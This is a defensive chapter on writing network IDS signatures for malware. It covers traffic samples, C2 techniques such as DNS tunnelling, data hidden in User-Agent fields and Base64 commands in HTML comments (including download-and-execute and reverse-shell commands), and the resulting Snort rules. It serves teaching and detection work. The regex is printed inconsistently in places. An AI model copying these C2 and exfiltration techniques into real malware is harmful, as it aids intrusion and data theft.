So far, we have been using either existing data or output from dynamic analysis to inform the generation of our signatures. While such measures are expedient and generate information quickly, they sometimes fail to identify the deeper characteristics of the malware that can lead to more accurate and longer-lasting signatures.
In general, there are two objectives of deeper analysis:
Full coverage of functionality
The first step is increasing the coverage of code using dynamic analysis. This process is described in Chapter 3, and typically involves providing new inputs so that the code continues down unused paths, in order to determine what the malware is expecting to receive. This is typically done with a tool like INetSim or with custom scripts. The process can be guided either by actual malware traffic or by static analysis.
Understanding functionality, including inputs and outputs
Static analysis can be used to see where and how content is generated, and to predict the behavior of malware. Dynamic analysis can then be used to confirm the expected behavior predicted by static analysis.
If the goal of malware analysis is to develop effective network indicators, then you don’t need to understand every block of code. But how do you know whether you have a sufficient understanding of the functionality of a piece of malware? Table 14-4 proposes a hierarchy of analysis levels.
Table 14-4. Malware Analysis Levels
Analysis level | Description |
|---|---|
Surface analysis | An analysis of initial indicators, equivalent to sandbox output |
Communication method coverage | An understanding of the code for each type of communication technique |
Operational replication | The ability to create a tool that allows for full operation of the malware (a server-based controller, for example) |
Code coverage | An understanding of every block of code |
The minimum level of analysis is a general understanding of the methods associated with network communication. However, to develop powerful network indicators, the analyst must reach a level between an understanding of all the communication methods used and the ability to replicate operational capability.
Operational replication is the ability to create a tool that closely mimics the one the attacker has created to operate the malware remotely. For example, if the malware operates as a client, then the malware server software would be a server that listens for connections and provides a console, which the analyst can use to tickle every function that the malware can perform, just as the malware creator would.
Effective and robust signatures can differentiate between regular traffic and the traffic associated with malware, which is a challenge, since malware authors are continually evolving their malware to blend effectively with normal traffic. Before we tackle the mechanics of analysis, we’ll discuss the history of malware and how camouflage strategies have changed.
Evading detection is one of the primary objectives of someone operating a backdoor, since being detected results in both the loss of the attacker’s access to an existing victim and an increased risk of future detection. Malware has evolved to evade detection by trying to blend in with the background, using the following techniques.
One way attackers blend in with the background is to use the most popular communication protocols, so that their malicious activity is more likely to get lost in the crowd. When Internet Relay Chat (IRC) was popular in the 1990s, attackers used it extensively, but as legitimate IRC traffic decreased, defenders began watching IRC traffic carefully, and attackers had a harder time blending in.
Since HTTP, HTTPS, and DNS are today’s most extensively used protocols on the Internet, attackers primarily use these protocols. These protocols are not as closely watched, because it’s extremely difficult to monitor such a large amount of traffic. Also, they are much less likely to be blocked, due to the potential consequences of accidentally blocking a lot of normal traffic.
Attackers blend in by using popular protocols in a way similar to legitimate traffic. For
example, attackers often use HTTP for beaconing, since the beacon is basically a request for further
instructions, like the HTTP GET request, and they use HTTPS
encryption to hide the nature and intent of the communications.
However, attackers also abuse standard protocols in order to achieve command-and-control objectives. For example, although DNS was intended to provide quick, short exchanges of information, some attackers tunnel longer streams of information over DNS by encoding the information and embedding it in fields that have a different intended purpose. A DNS name can be manufactured based on the data the attacker wishes to pass. Malware attempting to pass a user’s secret password could perform a DNS request for the domain www.thepasswordisflapjack.maliciousdomain.com.
Attackers can also abuse the HTTP standard. The GET method
is intended for requesting information, and the POST method is
intended for sending information. Since it’s intended for requests, the GET method provides a limited amount of space for data (typically around
2KB). Spyware regularly includes instructions on what it wants to collect in the URI path or query
of an HTTP GET, rather than in the body of the message.
Similarly, in a piece of malware observed by the authors, all information from the infected host was
embedded in the User-Agent fields of multiple HTTP GET requests.
The following two GET requests show what the malware produced to
send back a command prompt followed by a directory listing:
GET /world.html HTTP/1.1 User-Agent: %^&NQvtmw3eVhTfEBnzVw/aniIqQB6qQgTvmxJzVhjqJMjcHtEhI97n9+yy+duq+h3 b0RFzThrfE9AkK9OYIt6bIM7JUQJdViJaTx+q+h3dm8jJ8qfG+ezm/C3tnQgvVx/eECBZT87NTR/fU QkxmgcGLq Cache-Control: no-cache GET /world.html HTTP/1.1 User-Agent: %^&EBTaVDPYTM7zVs7umwvhTM79ECrrmd7ZVd7XSQFvV8jJ8s7QVhcgVQOqOhPdUQB XEAkgVQFvms7zmd6bJtSfHNSdJNEJ8qfGEA/zmwPtnC3d0M7aTs79KvcAVhJgVQPZnDIqSQkuEBJvn D/zVwneRAyJ8qfGIN6aIt6aIt6cI86qI9mlIe+q+OfqE86qLA/FOtjqE86qE86qE86qHqfGIN6aIt6 aIt6cI86qI9mlIe+q+OfqE86qLA/FOtjqE86qE86qE86qHsjJ8tAbHeEbHeEbIN6qE96jKt6kEABJE 86qE9cAMPE4E86qE86qE86qEA/vmhYfVi6J8t6dHe6cHeEbI9uqE96jKtEkEABJE86qE9cAMPE4E86 qE86qE86qEATrnw3dUR/vmbfGIN6aINAaIt6cI86qI9ulJNmq+OfqE86qLA/FOtjqE86qE86qE86qN Ruq/C3tnQgvVx/e9+ybIM2eIM2dI96kE86cINygK87+NM6qE862/AvMLs6qE86qE86qE87NnCBdn87 JTQkg9+yqE86qE86qE86qE86qE86bEATzVCOymduqE86qE86qE86qE86qE96qSxvfTRIJ8s6qE86qE 86qE86qE86qE9Sq/CvdGDIzE86qK8bgIeEXItObH9SdJ87s0R/vmd7wmwPv9+yJ8uIlRA/aSiPYTQk fmd7rVw+qOhPfnCvZTiJmMtj Cache-Control: no-cache
Attackers tunnel malicious communications by misusing fields in a protocol to avoid detection. Although the sample command traffic looks unusual to a trained eye, the attackers are betting that by hiding their content in an unusual place, they may be able to bypass scrutiny. If defenders search the contents of the body of the HTTP session in our sample, for example, they won’t see any traffic.
Malware authors have evolved their techniques over time to make malware look more and more realistic. This evolution is especially apparent in the way that malware has treated one common HTTP field: the User-Agent. When malware first started mimicking web requests, it disguised its traffic as a web browser. This User-Agent field is generally fixed based on the browser and various installed components. Here’s a sample User-Agent string from a Windows host:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
The first generation of malware that mimicked the web browser used completely manufactured User-Agent strings. Consequently, this malware was easily detectable by the User-Agent field alone. The next generation of malware included measures to ensure that its User-Agent string used a field that was common in real network traffic. While that made the attacker blend in better, network defenders could still use a static User-Agent field to create effective signatures.
Here is an example of a generic but popular User-Agent string that malware might employ:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
In the next stage, malware introduced a multiple-choice scheme. The malware would include several User-Agent fields—all commonly used by normal traffic—and it would switch between them to evade detection. For example, malware might include the following User-Agent strings:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
The latest User-Agent technique uses a native library call that constructs requests with the same code that the browser uses. With this technique, the User-Agent string from the malware (and most other aspects of the request as well) is indistinguishable from the User-Agent string from the browser.
Attackers leverage existing legitimate resources to cloak malware. If the only purpose of a server is to service malware requests, it will be more vulnerable to detection than a server that’s also used for legitimate purposes.
The attacker may simply use a server that has many different purposes. The legitimate uses will obscure the malicious uses, since investigation of the IP address will also reveal the legitimate uses.
A more sophisticated approach is to embed commands for the malware in a legitimate web page. Here are the first few lines of a sample page that has been repurposed by an attacker:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/ TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title> Roaring Capital | Seed Stage Venture Capital Fund in Chicago</title> <meta property="og:title" content=" Roaring Capital | Seed Stage Venture Capital Fund in Chicago"/> <meta property="og:site_name" content="Roaring Capital"/> <!-- --> <!-- adsrv?bG9uZ3NsZWVw --> <!--<script type="text/javascript" src="/js/dotastic.custom.js"></script>--> <!-- OH -->
The third line from the bottom is actually an encoded command to malware to sleep for a long
time before checking back. (The Base64 decoding of bG9uZ3NsZWVw
is longsleep.) The malware reads this command and calls a sleep
command to sleep the malware process. From a defender’s point of view, it is extremely
difficult to tell the difference between a valid request for a real web page and malware making the
same request but interpreting some part of the web page as a command.
One trend in network design is the increased use of Network Address Translation (NAT) and proxy solutions, which disguise the host making outbound requests. All requests look like they are coming from the proxy IP address instead. Attackers waiting for requests from malware likewise have difficulty identifying which (infected) host is communicating.
One very common malware technique is to construct a profile of the victim machine and pass that unique identifier in its beacon. This tells the attacker which machine is attempting to initiate communication before the communication handshake is completed. This unique identification of the victim host can take many forms, including an encoded string that represents basic information about the host or a hash of unique host information. A defender armed with the knowledge of how the malware identifies distinct hosts can use that information to identify and track infected machines.
There are two types of networking activities: sending data and receiving data. Analyzing outgoing data is usually easier, since the malware produces convenient samples for analysis whenever it runs.
We’ll look at two malware samples in this section. The first one is creating and sending out a beacon, and the other gets commands from an infected website.
The following are excerpts from the traffic logs for a hypothetical piece of malware’s
activities on the live network. In these traffic logs, the malware appears to make the following
GET request:
GET /1011961917758115116101584810210210256565356 HTTP/1.1 Accept: * / * User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.badsite.com Connection: Keep-Alive Cache-Control: no-cache
Running the malware in our lab environment (or sandbox), we notice the malware makes the following similar request:
GET /14586205865810997108584848485355525551 HTTP/1.1 Accept: * / * User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.badsite.com Connection: Keep-Alive Cache-Control: no-cache
Using Internet Explorer, we browse to a web page and find that the standard User-Agent on this test system is as follows:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)
Given the different User-Agent strings, it appears that this malware’s User-Agent string is hard-coded. Unfortunately, the malware appears to be using a fairly common User-Agent string, which means that trying to create a signature on the static User-Agent string alone will likely result in numerous false positives. On the positive side, a static User-Agent string can be combined with other elements to create an effective signature.
The next step is to perform dynamic analysis of the malware by running the malware a couple
more times, as described in the previous section. In these trials, the GET requests were the same, except for the URI, which was different each time. The
overall URI results yield the following:
/1011961917758115116101584810210210256565356 (actual traffic) /14586205865810997108584848485355525551 /7911554172581099710858484848535654100102 /2332511561845810997108584848485357985255
It appears as though there might be some common characters in the middle of these
strings (5848), but the pattern is not easily discernible. Static
analysis can be used to figure out exactly how the request is being created.
The first step to evaluating the network communication is to actually find the system calls
that are used to perform the communication. The most common low-level functions are a part of the
Windows Sockets (Winsock) API. Malware using this API will typically use functions such as WSAStartup, getaddrinfo, socket, connect, send, recv, and WSAGetLastError.
Malware may alternatively use a higher-lever API called Windows Internet (WinINet). Malware
using the WinINet API will typically use functions such as InternetOpen, InternetConnect, InternetOpenURL, HTTPOpenRequest,
HTTPQueryInfo, HTTPSendRequest, InternetReadFile, and InternetWriteFile. These higher-level APIs allow the malware to more
effectively blend in with regular traffic, since these are the same APIs used during normal
browsing.
Another high-level API that can be used for networking is the Component Object Model (COM)
interface. Implicit use of COM through functions such as URLDownloadToFile is fairly common, but explicit use of COM is still rare. Malware using
COM explicitly will typically use functions like CoInitialize,
CoCreateInstance, and Navigate. Explicit use of COM to create and use a browser, for example, allows the
malware to blend in, since it’s actually using the browser software as intended, and also
effectively obscures its activity and connection with the network traffic. Table 14-5 provides an overview of the API calls that malware might make to
implement networking functionality.
Table 14-5. Windows Networking APIs
WinSock API | WinINet API | COM interface |
|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
|
| |
|
| |
|
Returning to our sample malware, its imported functions include InternetOpen and HTTPOpenRequest, suggesting that the
malware uses the WinINet API. When we investigate the parameters to InternetOpen, we see that the User-Agent string is hard-coded in the malware.
Additionally, HTTPOpenRequest takes a parameter that specifies
the accepted file types, and we also see that this parameter contains hard-coded content. Another
HTTPOpenRequest parameter is the URI path, and we see that the
contents of the URI are generated from calls to GetTickCount,
Random, and gethostbyname.
The element that is most valuable for signature generation is hard-coded data from the malware. Network traffic sent by malware will be constructed from a limited set of original sources. Creating an effective signature requires knowledge of the origin of each piece of network content. The following are the fundamental sources:
Random data (such as data that is returned from a call to a function that produces pseudorandom values)
Data from standard networking libraries (such as the
GETcreated from a call toHTTPSendRequest)Hard-coded data from malware (such as a hard-coded User-Agent string)
Data about the host and its configuration (such as the hostname, the current time according to the system clock, and the CPU speed)
Data received from other sources, such as a remote server or the file system (examples are a nonce sent from server for use in encryption, a local file, and keystrokes captured by a keystroke logger)
Note that there can be various levels of encoding imposed on this data prior to its use in networking, but its fundamental origin determines its usefulness for signature generation.
Malware that uses lower-level networking APIs such as Winsock requires more manually generated content to mimic common traffic than malware that uses a higher-level networking API like the COM interface. More manual content means more hard-coded data, which increases the likelihood that the malware author will have made some mistake that you can use to generate a signature. The mistakes can be obvious, such as the misspelling of Mozilla (Mozila), or more subtle, such as missing spaces or a different use of case than is seen in typical traffic (MoZilla).
In the sample malware, a mistake exists in the hard-coded Accept string. The string is statically defined as * /
*, instead of the usual */*.
Recall that the URI generated from our example malware has the following form:
/14586205865810997108584848485355525551
The URI generation function calls GetTickCount, Random, and gethostbyname, and when
concatenating strings together, the malware uses the colon (:) character. The hard-coded Accept string and the hard-coded colon characters are good candidates for inclusion in
the signature.
The results from the call to Random should be accounted for
in the signature as though any random value could be returned. The results from the calls to
GetTickCount and gethostbyname
need to be evaluated for inclusion based on how static their results are.
While debugging the content-generation code of the sample malware, we see that the function creates a string that is then sent to an encoding function. The format of the string before it’s sent seems to be the following:
<4 random bytes>:<first three bytes of hostname>:<time from GetTickCount as a hexadecimal number>
It appears that this is a simple encoding function that takes each byte and converts it to its ASCII decimal form (for example, the character a becomes 97). It is now clear why it was difficult to figure out the URI using dynamic analysis, since it uses randomness, host attributes, time, and an encoding formula that can change length depending on the character. However, with this information and the information from the static analysis, we can easily develop an effective regular expression for the URI.
Identifying the stable or hard-coded content is not always simple, since transformations can
occur between the data origin and the network traffic. In this example, for instance, the GetTickCount command results are hidden between two layers of encoding,
first turning the binary DWORD value into an 8-byte hex
representation, and then translating each of those bytes into its decimal ASCII value.
The final regular expression is as follows:
//([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|11[012]){8}/Table 14-6 shows the correspondence between the identified data source and the final regular expression using one of the previous examples to illustrate the transformation.
Table 14-6. Regular Expression Decomposition from Source Content
|
|
|
|
|
|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Let’s break this down to see how the elements were targeted.
The two fixed colons that separate the three other elements are the pillars of the expression,
and these bytes are identified in columns 2 and 4 of Table 14-6. Each colon is represented by 58, which is its ASCII decimal representation. This is the raw static data
that is invaluable to signature creation.
Each of the initial 4 random bytes can ultimately be translated into a decimal number of 0
through 255. The regular expression ([1-9]|1[0-9]|2[0-5])
{0,1}[0-9] covers the number range 0 through 259, and the {4} indicates four copies of that pattern. Recall that the square brackets ([ and ]) contain the symbols, and the
curly brackets ({ and })
contain a number that indicates the quantity of preceding symbols. In a PCRE, the pipe symbol (|) expresses a logical OR, so any one of the terms between the parentheses may be present
for the expression to match. Also note that, in this case, we chose to expand the allowed values
slightly to avoid making the regular expression even more complicated than it already is.
Knowledge of the processing or encoding steps allows for more than just identifying hard-coded or stable elements. The encoding may restrict what the malware sends over the wire to specific character sets and field lengths, and can therefore be used to focus the signature. For example, even though the initial content is random, we know that it is a specific length, and we know that the character set and overall length of the final encoding layer have restrictions.
The middle term sandwiched between the 58 values of
[0-9]{6,9} is the first three characters of the hostname field
translated into ASCII decimal equivalent. This PCRE term matches a decimal string six to nine
characters long. Because, as a rule, a hostname will not contain single-digit ASCII values
(0–9), and since those are nonprintable characters, we left the minimum bound at 6 (three
characters with a minimum length decimal value of 2), instead of 3.
It is just as important to focus on avoiding ephemeral elements in your signature as it is to include hard-coded data. As observed in the previous section on dynamic analysis, the infected system’s hostname may appear consistent for that host, but any signature that uses that element will fail to trigger for other infected hosts. In this case, we took advantage of the length and encoding restrictions, but not the actual content.
The third part of the expression (4[89]|5[0-7]|9[789]|10[012]){8} covers the possible values for the characters that
represent the uptime of the system, as determined from the call to GetTickCount. The result from the GetTickCount command
is a DWORD, which is translated into hex, and then into ASCII
decimal representations. So if the value of the GetTickCount
command were 268404824 (around three days of uptime), the hex representation would be 0x0fff8858.
Thus, the numbers are represented by ASCII decimal 48 through 57, and the lowercase letters (limited
to a through f) are represented by ASCII decimal 97
through 102. As seen for this term, the count of 8 matches the number of hex characters, and the
expression containing the logical OR covers the appropriate number ranges.
Some sources of data may initially appear to be random, and therefore unusable, but a portion of the data may actually be predictable. Time is one example of this, since the high-order bits will remain relatively fixed and can sometimes provide a stable enough source of data to be useful in a signature.
There is a trade-off between performance and accuracy in the construction of effective
signatures. In this example, regular expressions are one of the more expensive tests an IDS uses. A
unique fixed-content string can dramatically improve content-based searches. This particular example
is challenging because the only fixed content available is the short 58 term.
There are a few strategies that could be used to create an effective signature in this case:
We could combine the URI regular expression with the fixed User-Agent string, so that the regular expression would not be used unless the specific User-Agent string is present.
Assuming you want a signature just for the URI, you can target the two
58terms with two content expressions and keywords that ensure that only a limited number of bytes are searched once the first instance of58is found (content: "58"; content: "58"; distance: 6; within: 5). Thewithinkeyword limits the number of characters that are searched.Because the upper bits of the
GetTickCountcall are relatively fixed, there is an opportunity to combine the upper bits with the neighboring58. For example, in all of our sample runs, the58was followed by a48, representing a 0 as the most significant digit. Analyzing the times involved, we find that the most significant digit will be48for the first three days of uptime,49for the next three days, and if we live dangerously and mix different content expressions, we can use584or585as an initial filter to cover uptimes for up to a month.
While it’s obviously important to pay attention to the content of malware that you observe, it’s also important to identify cases where content should exist but does not. A useful type of error that malware authors make, especially when using low-level APIs, is to forget to include items that will be commonly present in regular traffic. The Referer [sic] field, for example, is often present in normal web-browsing activity. If not included by malware, its absence can be a part of the signature. This can often make the difference between a signature that is successful and one that results in many false positives.
The following is the proposed Snort signature for our sample malware, which combines many of
the different factors we have covered so far: a static User-Agent string, an unusual Accept string, an encoded colon (58) in
the URI, a missing referrer, and a GET request matching the
regular expression described previously.
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon ";
content:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";
content:"Accept: * / *"; uricontent:"58"; content:!"|0d0a|referer:"; nocase;
pcre:"/GET /([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|10[012]){8} HTTP/";
classtype:trojan-activity; sid:2000002; rev:1;)Note
Typically, when an analyst first learns how to write network signatures, the focus is on creating a signature that works. However, ensuring that the signature is efficient is also important. This chapter focuses on identifying elements of a good signature, but we do not spend much time on optimizing our example signatures to ensure good performance.
We noted earlier that we would look at communication in two directions. So far, we have discussed how to analyze the traffic that the malware generates, but information in the malware about the traffic that it receives can also be used to generate a signature.
As an example, consider a piece of malware that uses the Comment field in a web page to retrieve its next command, which is a strategy we discussed briefly earlier in this chapter. The malware will make a request for a web page at a site the attacker has compromised and search for the hidden message embedded in the web page. Assume that in addition to the malware, we also have some network traffic showing the web server responses to the malware.
When comparing the strings in the malware and the web page, we see that there is a common term
in both: adsrv?. The web page that is returned has a single line
that looks like this:
<!—- adsrv?bG9uZ3NsZWVw -->
This is a fairly innocuous comment within a web page, and is unlikely to attract much attention by itself. It might be tempting to create a network signature based on the observed traffic, but doing so would result in an incomplete solution. First, two questions must be answered:
What other commands might the malware understand?
How does the malware identify that the web page contains a command?
As we have already seen, the adsrv? string appears in the
malware, and it would be an excellent signature element. We can strengthen the signature by adding
other elements.
To find potential additional elements, we first look for the networking routine where the page is received, and see that a function that’s called receives input. This is probably the parsing function.
Figure 14-3 shows an IDA Pro graph of a sample parsing routine that looks for a Comment field in a web page. The design is typical of a custom parsing function, which is often used in malware instead of something like a regular expression library. Custom parsing routines are generally organized as a cascading pattern of tests for the initial characters. Each small test block will have one line cascading to the next block, and another line going to a failure block, which contains the option to loop back to the start.
The line forming the upper loop on the left of Figure 14-3 shows that the current line failed the test and
the next line will be tried. This sample function has a double cascade and loop structure, and the
second cascade looks for the characters that close the Comment field. The individual blocks in the
cascade show the characters that the function is seeking. In this case, those characters are
<!-- in the first loop and --> in the second. In the block between the cascades, there is a function call that
tests the contents that come after the <!--. Thus, the command
will be processed only if the contents in the middle match the internal function and both sides of
the comment enclosure are intact.
When we dig deeper into the internal parsing function, we find that it first checks that the
adsrv? string is present. The attacker places a command for the
malware between the question mark and the comment closure, and performs a simple Base64 conversion
of the command to provide rudimentary obfuscation. The parsing function does the Base64 conversion,
but it does not interpret the resulting command. The command analysis is performed later on in the
code once parsing is complete.
The malware accepts five commands: three that tell the malware to sleep for different lengths of time, and two that allow the attacker to conduct the next stage of attack. Table 14-7 shows sample commands that the malware might receive, along with the Base64 translations.
Table 14-7. Sample Malware Commands
Command example | Base64 translation | Operation |
|---|---|---|
|
| Sleep for 1 hour |
|
| Sleep for 24 hours |
|
| Sleep for 1 minute |
|
| Download and execute a binary on the local system |
|
| Use a custom protocol to establish a reverse shell |
One approach to creating signatures for this backdoor is to target the full set of commands known to be used by the malware (including the surrounding context). Content expressions for the five commands recognized by the malware would contain the following strings:
<!-- adsrv?bG9uZ3NsZWVw --> <!-- adsrv?c3VwZXJsb25nc2xlZXA= --> <!-- adsrv?c2hvcnRzbGVlcA== --> <!-- adsrv?cnVu <!-- adsrv?Y29ubmVj
The last two expressions target only the static part of the commands (run and connect), and since the length of the argument
is not known, they do not target the trailing comment characters (-->).
While signatures that use all of these elements will likely find this precise piece of malware, there is a risk of being too specific at the expense of robustness. If the attacker changes any part of the malware—the command set, the encoding, or the command prefix—a very precise signature will cease to be effective.
Previously, we saw that different parts of the command interpretation were in different parts of the code. Given that knowledge, we can create different signatures to target the various elements separately.
The three elements that appear to be in distinct functions are comment bracketing, the fixed
adsrv? with a Base64 expression following, and the actual command
parsing. Based on these three elements, a set of signature elements could include the following (for
brevity, only the primary elements of each signature are included, with each line representing a
different signature).
pcre:"/<!-- adsrv?([a-zA-Z0-9+/=]{4})+ -->/"
content:"<!-- "; content:"bG9uZ3NsZWVw -->"; within:100;
content:"<!-- "; content:"c3VwZXJsb25nc2xlZXA= -->"; within:100;
content:"<!-- "; content:"c2hvcnRzbGVlcA== -->"; within:100;
content:"<!-- "; content:"cnVu";within:100;content: "-->"; within:100;
content:"<!-- "; content:"Y29ubmVj"; within:100; content:"-->"; within:100;These signatures target the three different elements that make up a command being sent to the
malware. All include the comment bracketing. The first signature targets the command prefix adsrv? followed by a generic Base64-encoded command. The rest of the
signatures target a known Base64-encoded command without any dependency on a command prefix.
Since we know the parsing occurs in a separate section of the code, it makes sense to target it independently. If the attacker changes one part of the code or the other, our signatures will still detect the unchanged part.
Note that we are still making assumptions. The new signatures may be more prone to false positives. We are also assuming that the attacker will most likely continue to use comment bracketing, since comment bracketing is a part of regular web communications and is unlikely to be considered suspicious. Nevertheless, this strategy provides more robust coverage than our initial attempt and is more likely to detect future variants of the malware.
Let’s revisit the signature we created earlier for beacon traffic. Recall that we combined every possible element into the same signature:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon ";
content:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";
content:"Accept: * / *"; uricontent:"58"; content:!"|0d0a|referer:"; nocase;
pcre:"/GET /([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|10 [012]){8} HTTP/";
classtype:trojan-activity; sid:2000002; rev:1;)This signature has a limited scope and would become useless if the attacker made any changes to the malware. A way to address different elements individually and avoid rapid obsolescence is with these two targets:
Target 1: User-Agent string,
Acceptstring, no referrerTarget 2: Specific URI, no referrer
This strategy would yield two signatures:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon UA with
Accept Anomaly"; content:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";
content:"Accept: * / *"; content:!"|0d0a|referer:"; nocase; classtype:trojan-activity;
sid:2000004; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon URI";
uricontent:"58"; content:!"|0d0a|referer:"; nocase; pcre:
"/GET /([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|10[012]){8} HTTP/";
classtype:trojan-activity; sid:2000005; rev:1;)